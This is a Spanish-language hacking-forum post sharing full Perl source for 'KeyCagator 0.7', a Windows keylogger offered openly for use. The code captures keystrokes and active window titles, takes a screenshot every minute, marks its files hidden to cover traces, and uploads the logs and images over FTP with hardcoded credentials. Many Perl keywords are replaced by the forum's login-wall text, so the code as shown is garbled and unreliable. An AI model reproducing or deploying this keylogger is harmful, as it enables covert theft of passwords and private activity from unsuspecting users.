comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[Perl] Keycagator 0.7

  • 0 Respuestas
  • 964 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil
« en: Julio 03, 2011, 09:47:14 pm »
Hola a todos , aca les traigo la nueva version de este keylogger
En esta version ya es aceptable con las siguientes opciones

  • Captura letras reconociendo mayusculas y minusculas
  • Captura ventanas en la que se trabaja
  • Toma fotos del sistema cada 1 minuto
  • Sube logs y fotos tomadas por FTP
  • Oculta rastros
Código: Perl
  1. #!usr/bin/perl
  2. #KeyCagator 0.7 (C) Doddy Hackman 2011
  3. #
  4.  
  5. use Win32::API;
  6. use Win32::GuiTest No tienes permisos para ver links. Registrate o Entra con tu cuenta(GetForegroundWindow GetWindowText FindWindowLike SetForegroundWindow SendKeys);
  7. use Win32::Clipboard;
  8. use threads;
  9. use Net::FTP;
  10. use Win32::File;
  11. use Cwd;
  12.  
  13. my $come = new Win32::API("user32", "GetAsyncKeyState","N", "I");
  14. my $tengo = 0; 
  15.  
  16. #if ($^O eq 'MSWin32') {
  17. #use Win32::Console;
  18. #Win32::Console::Free();
  19. #}
  20.  
  21. hideit($0,"hide");
  22.  
  23. subirftp("logs.txt","logs.txt");
  24.  
  25. my $comando1 = threads->new(\&capture_windows);
  26. my $comando2 = threads->new(\&capture_keys);
  27. my $comando3 = threads->new(\&capture_screen);
  28.  
  29. $comando1->No tienes permisos para ver links. Registrate o Entra con tu cuenta();
  30. $comando2->No tienes permisos para ver links. Registrate o Entra con tu cuenta();
  31. $comando3->No tienes permisos para ver links. Registrate o Entra con tu cuenta();
  32.  
  33.  
  34. sub capture_windows {
  35.  
  36. while(1) {
  37.  
  38. my $win1 = GetForegroundWindow();        
  39. my $win2 = GetForegroundWindow();
  40.  
  41. if($win1 != $win2){
  42. my $nombre = GetWindowText($win1);
  43. No tienes permisos para ver links. Registrate o Entra con tu cuenta($nombre);
  44. if ($nombre ne "") {
  45. #print "\n\n[".$nombre."]\n\n";
  46. savefile("logs.txt","\n\n[".$nombre."]\n\n");
  47. }
  48. }
  49. }
  50. No tienes permisos para ver links. Registrate o Entra con tu cuenta 1;
  51. }
  52.        
  53. sub capture_keys {
  54.  
  55. while(1) {
  56.  
  57. my $test1;
  58. my $test2;
  59.  
  60. for my $num(0x30..0x39) { #Numbers     
  61.  
  62. if (dame($num)) {
  63. #print "number : ".chr($num)."\n";
  64. savefile("logs.txt",No tienes permisos para ver links. Registrate o Entra con tu cuenta($num));
  65. }
  66. }
  67.  
  68. if (dame(0x14)) {
  69. $test1 = 1;
  70. $tengo++;
  71. }
  72.  
  73. for my $num(0x41..0x5A) {       #Words
  74.  
  75. if (dame($num)) {
  76.  
  77. if (dame(0x20)) {
  78. savefile("logs.txt"," ");
  79. }
  80.  
  81. if (dame(0x32)) {
  82. savefile("logs.txt","\n[enter]\n\n");
  83. }
  84.  
  85. unless (verpar($tengo) eq 1) {
  86. #print "MAYUSCULA : ".chr($num)."\n";
  87. savefile("logs.txt",No tienes permisos para ver links. Registrate o Entra con tu cuenta($num));
  88. }
  89.  
  90. if (dame(0x10) or dame(0xA0) or dame(0xA1)) {
  91. #print "MAYUSCULA : ".chr($num)."\n";
  92. $test2 = 1;
  93. }
  94.  
  95. unless ($test1 eq 1 or $test2 eq 1) {
  96. if ($num >= 0x41) {
  97. if ($num <= 0x5A) {
  98. if (verpar($tengo) eq 1) {
  99. #print "MINUSCULA : ".chr($num+32)."\n";
  100. savefile("logs.txt",No tienes permisos para ver links. Registrate o Entra con tu cuenta($num+32));
  101. }
  102. }
  103. }
  104. }
  105. }
  106. }
  107. }
  108. No tienes permisos para ver links. Registrate o Entra con tu cuenta 1;
  109. }
  110.  
  111. sub capture_screen {
  112.  
  113. $numero = 0;
  114.  
  115. while(1) {
  116.  
  117. No tienes permisos para ver links. Registrate o Entra con tu cuenta 60;
  118.  
  119. $numero++;
  120.  
  121. SetForegroundWindow(1);
  122. SendKeys('%{PRTSCR}');
  123.  
  124. my $a = Win32::Clipboard::GetBitmap();
  125.  
  126. No tienes permisos para ver links. Registrate o Entra con tu cuenta (FOTO,">".$numero.".bmp");
  127. No tienes permisos para ver links. Registrate o Entra con tu cuenta(FOTO);
  128. No tienes permisos para ver links. Registrate o Entra con tu cuenta FOTO $a;
  129. No tienes permisos para ver links. Registrate o Entra con tu cuenta FOTO;
  130.  
  131. hideit($numero.".bmp","hide");
  132. subirftp($numero.".bmp",$numero.".bmp");
  133. }
  134. }
  135.  
  136. sub dame {
  137. No tienes permisos para ver links. Registrate o Entra con tu cuenta($come->Call(@_) & 1);
  138. }
  139.  
  140. sub savefile {
  141.  
  142. No tienes permisos para ver links. Registrate o Entra con tu cuenta (SAVE,">>".$_[0]);
  143. No tienes permisos para ver links. Registrate o Entra con tu cuenta SAVE $_[1];
  144. No tienes permisos para ver links. Registrate o Entra con tu cuenta SAVE;
  145.  
  146. hideit($_[0],"hide");
  147.  
  148. }
  149.  
  150. sub hideit {
  151. if ($_[1] eq "show") {
  152. Win32::File::SetAttributes($_[0],NORMAL);
  153. }
  154. elsif ($_[1] eq "hide") {
  155. Win32::File::SetAttributes($_[0],HIDDEN);
  156. }
  157. else {
  158. No tienes permisos para ver links. Registrate o Entra con tu cuenta "error\n";
  159. }
  160. }
  161.  
  162. sub subirftp {
  163.  
  164. if ($ser = Net::FTP->new("localhost")) {
  165. if ($ser->login("doddy","123")) {
  166. No tienes permisos para ver links. Registrate o Entra con tu cuenta "subi".getcwd()."/".$_[0]."\n";
  167. if ($ser->put(getcwd()."/".$_[0],$_[1])) {
  168. No tienes permisos para ver links. Registrate o Entra con tu cuenta true;
  169. }
  170. }
  171. $ser->No tienes permisos para ver links. Registrate o Entra con tu cuenta;
  172. }
  173.  
  174.  
  175. }
  176.  
  177. sub verpar{
  178. No tienes permisos para ver links. Registrate o Entra con tu cuenta ($_[0] % 2 == 0) ? "1" : "2";
  179. }
  180.  
  181.  
  182. #Credits : to explorer for helpme with the function verpar()
  183. #Mail : lepuke[at]hotmail[com]
  184. #Blog : doddy-hackman.blogspot.com
  185. # ¿ The End ?
  186.  
« Última modificación: Marzo 14, 2015, 10:03:20 am por Expermicid »

 

¿Te gustó el post? COMPARTILO!



Tutorial perl desde cero By: Black Poision & Painboy

Iniciado por ProcessKill

Respuestas: 2
Vistas: 3231
Último mensaje Septiembre 02, 2011, 09:43:36 pm
por blozzter
[Perl] Verificando si es root para correr un script

Iniciado por c1st

Respuestas: 1
Vistas: 1513
Último mensaje Octubre 07, 2012, 06:01:39 pm
por ANTRAX
[Perl] Iframe DDos Attack Tool

Iniciado por BigBear

Respuestas: 0
Vistas: 1311
Último mensaje Julio 03, 2011, 10:06:45 pm
por BigBear
[Perl] Half Life Servers List 0.1

Iniciado por BigBear

Respuestas: 0
Vistas: 1140
Último mensaje Noviembre 12, 2012, 07:31:50 pm
por BigBear
[Perl] Search in google for scan SQLI

Iniciado por BigBear

Respuestas: 0
Vistas: 1306
Último mensaje Julio 03, 2011, 09:49:49 pm
por BigBear